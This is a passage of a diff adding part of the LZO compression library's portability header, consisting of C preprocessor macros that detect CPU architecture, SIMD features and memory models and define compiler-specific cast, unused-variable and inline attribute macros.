defined(__MSP430__) +# define LZO_ARCH_MSP430 1 +# define LZO_INFO_ARCH "msp430" +#elif defined(__IAR_SYSTEMS_ICC__) && defined(__ICC430__) +# define LZO_ARCH_MSP430 1 +# define LZO_INFO_ARCH "msp430" +#elif defined(__powerpc__) || defined(__powerpc) || defined(__ppc__) || defined(__PPC__) || defined(_M_PPC) || defined(_ARCH_PPC) || defined(_ARCH_PWR) +# define LZO_ARCH_POWERPC 1 +# define LZO_INFO_ARCH "powerpc" +#elif defined(__s390__) || defined(__s390) || defined(__s390x__) || defined(__s390x) +# define LZO_ARCH_S390 1 +# define LZO_INFO_ARCH "s390" +#elif defined(__sh__) || defined(_M_SH) +# define LZO_ARCH_SH 1 +# define LZO_INFO_ARCH "sh" +#elif defined(__sparc__) || defined(__sparc) || defined(__sparcv8) +# define LZO_ARCH_SPARC 1 +# define LZO_INFO_ARCH "sparc" +#elif defined(__SPU__) +# define LZO_ARCH_SPU 1 +# define LZO_INFO_ARCH "spu" +#elif (UINT_MAX == LZO_0xffffL) && defined(__z80) +# define LZO_ARCH_Z80 1 +# define LZO_INFO_ARCH "z80" +#elif (LZO_ARCH_CRAY_PVP) +# if defined(_CRAYSV1) +# define LZO_ARCH_CRAY_SV1 1 +# define LZO_INFO_ARCH "cray_sv1" +# elif (_ADDR64) +# define LZO_ARCH_CRAY_T90 1 +# define LZO_INFO_ARCH "cray_t90" +# elif (_ADDR32) +# define LZO_ARCH_CRAY_YMP 1 +# define LZO_INFO_ARCH "cray_ymp" +# else +# define LZO_ARCH_CRAY_XMP 1 +# define LZO_INFO_ARCH "cray_xmp" +# endif +#else +# define LZO_ARCH_UNKNOWN 1 +# define LZO_INFO_ARCH "unknown" +#endif +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_DOS32 || LZO_OS_OS2) +# error "FIXME - missing define for CPU architecture" +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN32) +# error "FIXME - missing LZO_OS_WIN32 define for CPU architecture" +#endif +#if 1 && (LZO_ARCH_UNKNOWN) && (LZO_OS_WIN64) +# error "FIXME - missing LZO_OS_WIN64 define for CPU architecture" +#endif +#if (LZO_OS_OS216 || LZO_OS_WIN16) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && defined(BLX286)) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && defined(DOSX286)) +# define LZO_ARCH_I086PM 1 +#elif 1 && (LZO_OS_DOS16 && LZO_CC_BORLANDC && defined(__DPMI16__)) +# define LZO_ARCH_I086PM 1 +#endif +#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) +# define LZO_ARCH_X64 1 +#elif (!LZO_ARCH_AMD64 && LZO_ARCH_X64) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_AMD64 1 +#endif +#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) +# define LZO_ARCH_AARCH64 1 +#elif (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_ARM64 1 +#endif +#if (LZO_ARCH_I386 && !LZO_ARCH_X86) +# define LZO_ARCH_X86 1 +#elif (!LZO_ARCH_I386 && LZO_ARCH_X86) && defined(__LZO_ARCH_OVERRIDE) +# define LZO_ARCH_I386 1 +#endif +#if (LZO_ARCH_AMD64 && !LZO_ARCH_X64) || (!LZO_ARCH_AMD64 && LZO_ARCH_X64) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM64 && !LZO_ARCH_AARCH64) || (!LZO_ARCH_ARM64 && LZO_ARCH_AARCH64) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I386 && !LZO_ARCH_X86) || (!LZO_ARCH_I386 && LZO_ARCH_X86) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB && !LZO_ARCH_ARM) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB1 && !LZO_ARCH_ARM_THUMB) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB2 && !LZO_ARCH_ARM_THUMB) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM_THUMB1 && LZO_ARCH_ARM_THUMB2) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I086PM && !LZO_ARCH_I086) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_I086) +# if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_ARCH_I386) +# if (UINT_MAX != LZO_0xffffL) && defined(__i386_int16__) +# error "unexpected configuration - check your compiler defines" +# endif +# if (UINT_MAX != LZO_0xffffffffL) && !defined(__i386_int16__) +# error "unexpected configuration - check your compiler defines" +# endif +# if (ULONG_MAX != LZO_0xffffffffL) +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#if (LZO_ARCH_AMD64 || LZO_ARCH_I386) +# if !defined(LZO_TARGET_FEATURE_SSE2) +# if defined(__SSE2__) +# define LZO_TARGET_FEATURE_SSE2 1 +# elif defined(_MSC_VER) && ((defined(_M_IX86_FP) && ((_M_IX86_FP)+0 >= 2)) || defined(_M_AMD64)) +# define LZO_TARGET_FEATURE_SSE2 1 +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_SSSE3) +# if (LZO_TARGET_FEATURE_SSE2) +# if defined(__SSSE3__) +# define LZO_TARGET_FEATURE_SSSE3 1 +# elif defined(_MSC_VER) && defined(__AVX__) +# define LZO_TARGET_FEATURE_SSSE3 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_SSE4_2) +# if (LZO_TARGET_FEATURE_SSSE3) +# if defined(__SSE4_2__) +# define LZO_TARGET_FEATURE_SSE4_2 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_AVX) +# if (LZO_TARGET_FEATURE_SSSE3) +# if defined(__AVX__) +# define LZO_TARGET_FEATURE_AVX 1 +# endif +# endif +# endif +# if !defined(LZO_TARGET_FEATURE_AVX2) +# if (LZO_TARGET_FEATURE_AVX) +# if defined(__AVX2__) +# define LZO_TARGET_FEATURE_AVX2 1 +# endif +# endif +# endif +#endif +#if (LZO_TARGET_FEATURE_SSSE3 && !(LZO_TARGET_FEATURE_SSE2)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_SSE4_2 && !(LZO_TARGET_FEATURE_SSSE3)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_AVX && !(LZO_TARGET_FEATURE_SSSE3)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_TARGET_FEATURE_AVX2 && !(LZO_TARGET_FEATURE_AVX)) +# error "unexpected configuration - check your compiler defines" +#endif +#if (LZO_ARCH_ARM) +# if !defined(LZO_TARGET_FEATURE_NEON) +# if defined(__ARM_NEON__) +# define LZO_TARGET_FEATURE_NEON 1 +# endif +# endif +#elif (LZO_ARCH_ARM64) +# if !defined(LZO_TARGET_FEATURE_NEON) +# if 1 +# define LZO_TARGET_FEATURE_NEON 1 +# endif +# endif +#endif +#if 0 +#elif !defined(__LZO_MM_OVERRIDE) +#if (LZO_ARCH_I086) +#if (UINT_MAX != LZO_0xffffL) +# error "unexpected configuration - check your compiler defines" +#endif +#if defined(__TINY__) || defined(M_I86TM) || defined(_M_I86TM) +# define LZO_MM_TINY 1 +#elif defined(__HUGE__) || defined(_HUGE_) || defined(M_I86HM) || defined(_M_I86HM) +# define LZO_MM_HUGE 1 +#elif defined(__SMALL__) || defined(M_I86SM) || defined(_M_I86SM) || defined(SMALL_MODEL) +# define LZO_MM_SMALL 1 +#elif defined(__MEDIUM__) || defined(M_I86MM) || defined(_M_I86MM) +# define LZO_MM_MEDIUM 1 +#elif defined(__COMPACT__) || defined(M_I86CM) || defined(_M_I86CM) +# define LZO_MM_COMPACT 1 +#elif defined(__LARGE__) || defined(M_I86LM) || defined(_M_I86LM) || defined(LARGE_MODEL) +# define LZO_MM_LARGE 1 +#elif (LZO_CC_AZTECC) +# if defined(_LARGE_CODE) && defined(_LARGE_DATA) +# define LZO_MM_LARGE 1 +# elif defined(_LARGE_CODE) +# define LZO_MM_MEDIUM 1 +# elif defined(_LARGE_DATA) +# define LZO_MM_COMPACT 1 +# else +# define LZO_MM_SMALL 1 +# endif +#elif (LZO_CC_ZORTECHC && defined(__VCM__)) +# define LZO_MM_LARGE 1 +#else +# error "unknown LZO_ARCH_I086 memory model" +#endif +#if (LZO_OS_DOS16 || LZO_OS_OS216 || LZO_OS_WIN16) +#define LZO_HAVE_MM_HUGE_PTR 1 +#define LZO_HAVE_MM_HUGE_ARRAY 1 +#if (LZO_MM_TINY) +# undef LZO_HAVE_MM_HUGE_ARRAY +#endif +#if (LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_ZORTECHC) +# undef LZO_HAVE_MM_HUGE_PTR +# undef LZO_HAVE_MM_HUGE_ARRAY +#elif (LZO_CC_DMC || LZO_CC_SYMANTECC) +# undef LZO_HAVE_MM_HUGE_ARRAY +#elif (LZO_CC_MSC && defined(_QC)) +# undef LZO_HAVE_MM_HUGE_ARRAY +# if (_MSC_VER < 600) +# undef LZO_HAVE_MM_HUGE_PTR +# endif +#elif (LZO_CC_TURBOC && (__TURBOC__ < 0x0295)) +# undef LZO_HAVE_MM_HUGE_ARRAY +#endif +#if (LZO_ARCH_I086PM) && !(LZO_HAVE_MM_HUGE_PTR) +# if (LZO_OS_DOS16) +# error "unexpected configuration - check your compiler defines" +# elif (LZO_CC_ZORTECHC) +# else +# error "unexpected configuration - check your compiler defines" +# endif +#endif +#ifdef __cplusplus +extern "C" { +#endif +#if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0200)) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_DMC || LZO_CC_SYMANTECC || LZO_CC_ZORTECHC) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_MSC || LZO_CC_TOPSPEEDC) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif (LZO_CC_TURBOC && (__TURBOC__ >= 0x0295)) + extern void __near __cdecl _AHSHIFT(void); +# define LZO_MM_AHSHIFT ((unsigned) _AHSHIFT) +#elif ((LZO_CC_AZTECC || LZO_CC_PACIFICC || LZO_CC_TURBOC) && LZO_OS_DOS16) +# define LZO_MM_AHSHIFT 12 +#elif (LZO_CC_WATCOMC) + extern unsigned char _HShift; +# define LZO_MM_AHSHIFT ((unsigned) _HShift) +#else +# error "FIXME - implement LZO_MM_AHSHIFT" +#endif +#ifdef __cplusplus +} +#endif +#endif +#elif (LZO_ARCH_C166) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_C166 __MODEL__" +#elif ((__MODEL__) == 0) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 1) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_C166 __MODEL__" +#endif +#elif (LZO_ARCH_MCS251) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_MCS251 __MODEL__" +#elif ((__MODEL__) == 0) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_MCS251 __MODEL__" +#endif +#elif (LZO_ARCH_MCS51) +#if !defined(__MODEL__) +# error "FIXME - LZO_ARCH_MCS51 __MODEL__" +#elif ((__MODEL__) == 1) +# define LZO_MM_SMALL 1 +#elif ((__MODEL__) == 2) +# define LZO_MM_LARGE 1 +#elif ((__MODEL__) == 3) +# define LZO_MM_TINY 1 +#elif ((__MODEL__) == 4) +# define LZO_MM_XTINY 1 +#elif ((__MODEL__) == 5) +# define LZO_MM_XSMALL 1 +#else +# error "FIXME - LZO_ARCH_MCS51 __MODEL__" +#endif +#elif (LZO_ARCH_CRAY_PVP) +# define LZO_MM_PVP 1 +#else +# define LZO_MM_FLAT 1 +#endif +#if (LZO_MM_COMPACT) +# define LZO_INFO_MM "compact" +#elif (LZO_MM_FLAT) +# define LZO_INFO_MM "flat" +#elif (LZO_MM_HUGE) +# define LZO_INFO_MM "huge" +#elif (LZO_MM_LARGE) +# define LZO_INFO_MM "large" +#elif (LZO_MM_MEDIUM) +# define LZO_INFO_MM "medium" +#elif (LZO_MM_PVP) +# define LZO_INFO_MM "pvp" +#elif (LZO_MM_SMALL) +# define LZO_INFO_MM "small" +#elif (LZO_MM_TINY) +# define LZO_INFO_MM "tiny" +#else +# error "unknown memory model" +#endif +#endif +#if !defined(__lzo_gnuc_extension__) +#if (LZO_CC_GNUC >= 0x020800ul) +# define __lzo_gnuc_extension__ __extension__ +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_gnuc_extension__ __extension__ +#elif (LZO_CC_IBMC >= 600) +# define __lzo_gnuc_extension__ __extension__ +#else +#endif +#endif +#if !defined(__lzo_gnuc_extension__) +# define __lzo_gnuc_extension__ /*empty*/ +#endif +#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) && defined(__cplusplus) && 0 +# if (LZO_CC_GNUC && (LZO_CC_GNUC < 0x020800ul)) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +# elif (LZO_CC_INTELC && (__INTEL_COMPILER < 1200)) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +# else +# define LZO_CFG_USE_NEW_STYLE_CASTS 1 +# endif +#endif +#if !defined(LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +#endif +#if !defined(__cplusplus) +# if defined(LZO_CFG_USE_NEW_STYLE_CASTS) +# undef LZO_CFG_USE_NEW_STYLE_CASTS +# endif +# define LZO_CFG_USE_NEW_STYLE_CASTS 0 +#endif +#if !defined(LZO_REINTERPRET_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_REINTERPRET_CAST(t,e) (reinterpret_cast (e)) +# endif +#endif +#if !defined(LZO_REINTERPRET_CAST) +# define LZO_REINTERPRET_CAST(t,e) ((t) (e)) +#endif +#if !defined(LZO_STATIC_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_STATIC_CAST(t,e) (static_cast (e)) +# endif +#endif +#if !defined(LZO_STATIC_CAST) +# define LZO_STATIC_CAST(t,e) ((t) (e)) +#endif +#if !defined(LZO_STATIC_CAST2) +# define LZO_STATIC_CAST2(t1,t2,e) LZO_STATIC_CAST(t1, LZO_STATIC_CAST(t2, e)) +#endif +#if !defined(LZO_UNCONST_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNCONST_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNCONST_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNCONST_CAST) +# define LZO_UNCONST_CAST(t,e) ((t) ((void *) ((const void *) (e)))) +#endif +#if !defined(LZO_UNCONST_VOLATILE_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNCONST_VOLATILE_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNCONST_VOLATILE_CAST) +# define LZO_UNCONST_VOLATILE_CAST(t,e) ((t) ((volatile void *) ((volatile const void *) (e)))) +#endif +#if !defined(LZO_UNVOLATILE_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNVOLATILE_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNVOLATILE_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((lzo_uintptr_t) ((volatile void *) (e))))) +# endif +#endif +#if !defined(LZO_UNVOLATILE_CAST) +# define LZO_UNVOLATILE_CAST(t,e) ((t) ((void *) ((volatile void *) (e)))) +#endif +#if !defined(LZO_UNVOLATILE_CONST_CAST) +# if (LZO_CFG_USE_NEW_STYLE_CASTS) +# define LZO_UNVOLATILE_CONST_CAST(t,e) (const_cast (e)) +# elif (LZO_HAVE_MM_HUGE_PTR) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) (e)) +# elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((lzo_uintptr_t) ((volatile const void *) (e))))) +# endif +#endif +#if !defined(LZO_UNVOLATILE_CONST_CAST) +# define LZO_UNVOLATILE_CONST_CAST(t,e) ((t) ((const void *) ((volatile const void *) (e)))) +#endif +#if !defined(LZO_PCAST) +# if (LZO_HAVE_MM_HUGE_PTR) +# define LZO_PCAST(t,e) ((t) (e)) +# endif +#endif +#if !defined(LZO_PCAST) +# define LZO_PCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(void *, e)) +#endif +#if !defined(LZO_CCAST) +# if (LZO_HAVE_MM_HUGE_PTR) +# define LZO_CCAST(t,e) ((t) (e)) +# endif +#endif +#if !defined(LZO_CCAST) +# define LZO_CCAST(t,e) LZO_STATIC_CAST(t, LZO_STATIC_CAST(const void *, e)) +#endif +#if !defined(LZO_ICONV) +# define LZO_ICONV(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(LZO_ICAST) +# define LZO_ICAST(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(LZO_ITRUNC) +# define LZO_ITRUNC(t,e) LZO_STATIC_CAST(t, e) +#endif +#if !defined(__lzo_cte) +# if (LZO_CC_MSC || LZO_CC_WATCOMC) +# define __lzo_cte(e) ((void)0,(e)) +# elif 1 +# define __lzo_cte(e) ((void)0,(e)) +# endif +#endif +#if !defined(__lzo_cte) +# define __lzo_cte(e) (e) +#endif +#if !defined(LZO_BLOCK_BEGIN) +# define LZO_BLOCK_BEGIN do { +# define LZO_BLOCK_END } while __lzo_cte(0) +#endif +#if !defined(LZO_UNUSED) +# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) +# define LZO_UNUSED(var) ((void) &var) +# elif (LZO_CC_BORLANDC || LZO_CC_HIGHC || LZO_CC_NDPC || LZO_CC_PELLESC || LZO_CC_TURBOC) +# define LZO_UNUSED(var) if (&var) ; else +# elif (LZO_CC_CLANG && (LZO_CC_CLANG >= 0x030200ul)) +# define LZO_UNUSED(var) ((void) &var) +# elif (LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define LZO_UNUSED(var) ((void) var) +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_UNUSED(var) if (&var) ; else +# elif (LZO_CC_KEILC) +# define LZO_UNUSED(var) {LZO_EXTERN_C int lzo_unused__[1-2*!(sizeof(var)>0)];} +# elif (LZO_CC_PACIFICC) +# define LZO_UNUSED(var) ((void) sizeof(var)) +# elif (LZO_CC_WATCOMC) && defined(__cplusplus) +# define LZO_UNUSED(var) ((void) var) +# else +# define LZO_UNUSED(var) ((void) &var) +# endif +#endif +#if !defined(LZO_UNUSED_FUNC) +# if (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0600)) +# define LZO_UNUSED_FUNC(func) ((void) func) +# elif (LZO_CC_BORLANDC || LZO_CC_NDPC || LZO_CC_TURBOC) +# define LZO_UNUSED_FUNC(func) if (func) ; else +# elif (LZO_CC_CLANG || LZO_CC_LLVM) +# define LZO_UNUSED_FUNC(func) ((void) &func) +# elif (LZO_CC_MSC && (_MSC_VER < 900)) +# define LZO_UNUSED_FUNC(func) if (func) ; else +# elif (LZO_CC_MSC) +# define LZO_UNUSED_FUNC(func) ((void) &func) +# elif (LZO_CC_KEILC || LZO_CC_PELLESC) +# define LZO_UNUSED_FUNC(func) {LZO_EXTERN_C int lzo_unused_func__[1-2*!(sizeof((int)func)>0)];} +# else +# define LZO_UNUSED_FUNC(func) ((void) func) +# endif +#endif +#if !defined(LZO_UNUSED_LABEL) +# if (LZO_CC_CLANG >= 0x020800ul) +# define LZO_UNUSED_LABEL(l) (__lzo_gnuc_extension__ ((void) ((const void *) &&l))) +# elif (LZO_CC_ARMCC || LZO_CC_CLANG || LZO_CC_INTELC || LZO_CC_WATCOMC) +# define LZO_UNUSED_LABEL(l) if __lzo_cte(0) goto l +# else +# define LZO_UNUSED_LABEL(l) switch (0) case 1:goto l +# endif +#endif +#if !defined(LZO_DEFINE_UNINITIALIZED_VAR) +# if 0 +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var +# elif 0 && (LZO_CC_GNUC) +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = var +# else +# define LZO_DEFINE_UNINITIALIZED_VAR(type,var,init) type var = init +# endif +#endif +#if !defined(__lzo_inline) +#if (LZO_CC_TURBOC && (__TURBOC__ <= 0x0295)) +#elif defined(__cplusplus) +# define __lzo_inline inline +#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) +# define __lzo_inline inline +#elif (LZO_CC_BORLANDC && (__BORLANDC__ >= 0x0550)) +# define __lzo_inline __inline +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CILLY || LZO_CC_CLANG || LZO_CC_GNUC || LZO_CC_LLVM || LZO_CC_PATHSCALE || LZO_CC_PGI) +# define __lzo_inline __inline__ +#elif (LZO_CC_DMC) +# define __lzo_inline __inline +#elif (LZO_CC_GHS) +# define __lzo_inline __inline__ +#elif (LZO_CC_IBMC >= 600) +# define __lzo_inline __inline__ +#elif (LZO_CC_INTELC) +# define __lzo_inline __inline +#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x2405)) +# define __lzo_inline __inline +#elif (LZO_CC_MSC && (_MSC_VER >= 900)) +# define __lzo_inline __inline +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_inline __inline__ +#endif +#endif +#if defined(__lzo_inline) +# ifndef __lzo_HAVE_inline +# define __lzo_HAVE_inline 1 +# endif +#else +# define __lzo_inline /*empty*/ +#endif +#if !defined(__lzo_forceinline) +#if (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) +# define __lzo_forceinline __forceinline +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) +# define __lzo_forceinline __forceinline +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_forceinline __inline__ __attribute__((__always_inline__)) +#endif +#endif +#if defined(__lzo_forceinline) +# ifndef __lzo_HAVE_forceinline +# define __lzo_HAVE_forceinline 1 +# endif +#else +# define __lzo_forceinline __lzo_inline +#endif +#if !defined(__lzo_noinline) +#if 1 && (LZO_ARCH_I386) && (LZO_CC_GNUC >= 0x040000ul) && (LZO_CC_GNUC < 0x040003ul) +# define __lzo_noinline __attribute__((__noinline__,__used__)) +#elif (LZO_CC_GNUC >= 0x030200ul) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 600)) +# define __lzo_noinline __declspec(noinline) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 800)) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1300)) +# define __lzo_noinline __declspec(noinline) +#elif (LZO_CC_MWERKS && (__MWERKS__ >= 0x3200) && (LZO_OS_WIN32 || LZO_OS_WIN64)) +# if defined(__cplusplus) +# else +# define __lzo_noinline __declspec(noinline) +# endif +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_noinline __attribute__((__noinline__)) +#elif (LZO_CC_SUNPROC >= 0x5100) +# define __lzo_noinline __attribute__((__noinline__)) +#endif +#endif +#if defined(__lzo_noinline) +# ifndef __lzo_HAVE_noinline +# define __lzo_HAVE_noinline 1 +# endif +#else +# define __lzo_noinline /*empty*/ +#endif +#if (__lzo_HAVE_forceinline || __lzo_HAVE_noinline) && !(__lzo_HAVE_inline) +# error "unexpected configuration - check your compiler defines" +#endif +#if !defined(__lzo_static_inline) +#if (LZO_CC_IBMC) +# define __lzo_static_inline __lzo_gnuc_extension__ static __lzo_inline +#endif +#endif +#if !defined(__lzo_static_inline) +# define __lzo_static_inline static __lzo_inline +#endif +#if !defined(__lzo_static_forceinline) +#if (LZO_CC_IBMC) +# define __lzo_static_forceinline __lzo_gnuc_extension__ static __lzo_forceinline +#endif +#endif +#if !defined(__lzo_static_forceinline) +# define __lzo_static_forceinline static __lzo_forceinline +#endif +#if !defined(__lzo_static_noinline) +#if (LZO_CC_IBMC) +# define __lzo_static_noinline __lzo_gnuc_extension__ static __lzo_noinline +#endif +#endif +#if !defined(__lzo_static_noinline) +# define __lzo_static_noinline static __lzo_noinline +#endif +#if !defined(__lzo_c99_extern_inline) +#if defined(__GNUC_GNU_INLINE__) +# define __lzo_c99_extern_inline __lzo_inline +#elif defined(__GNUC_STDC_INLINE__) +# define __lzo_c99_extern_inline extern __lzo_inline +#elif defined(__STDC_VERSION__) && (__STDC_VERSION__-0 >= 199901L) +# define __lzo_c99_extern_inline extern __lzo_inline +#endif +#if !defined(__lzo_c99_extern_inline) && (__lzo_HAVE_inline) +# define __lzo_c99_extern_inline __lzo_inline +#endif +#endif +#if defined(__lzo_c99_extern_inline) +# ifndef __lzo_HAVE_c99_extern_inline +# define __lzo_HAVE_c99_extern_inline 1 +# endif +#else +# define __lzo_c99_extern_inline /*empty*/ +#endif +#if !defined(__lzo_may_alias) +#if (LZO_CC_GNUC >= 0x030400ul) +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_CLANG >= 0x020900ul) +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 1210)) && 0 +# define __lzo_may_alias __attribute__((__may_alias__)) +#elif (LZO_CC_PGI >= 0x0d0a00ul) && 0 +# define __lzo_may_alias __attribute__((__may_alias__)) +#endif +#endif +#if defined(__lzo_may_alias) +# ifndef __lzo_HAVE_may_alias +# define __lzo_HAVE_may_alias 1 +# endif +#else +# define __lzo_may_alias /*empty*/ +#endif +#if !defined(__lzo_noreturn) +#if (LZO_CC_GNUC >= 0x020700ul) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_IBMC >= 700) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_INTELC_MSC && (__INTEL_COMPILER >= 450)) +# define __lzo_noreturn __declspec(noreturn) +#elif (LZO_CC_INTELC_GNUC && (__INTEL_COMPILER >= 600)) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_ARMCC_GNUC || LZO_CC_CLANG || LZO_CC_LLVM || LZO_CC_PATHSCALE) +# define __lzo_noreturn __attribute__((__noreturn__)) +#elif (LZO_CC_MSC && (_MSC_VER >= 1200)) +# define __lzo_noreturn __declspec(noreturn) +#elif (LZO_CC_PGI >= 0x0d0a00ul) +# define __lzo_noreturn __attribute__((__noreturn__)) +#endif +#endif +#if defined(__lzo_noreturn) +# ifndef __lzo_HAVE_noreturn +# define __lzo_HAVE_noreturn 1 +# endif +#else +# define 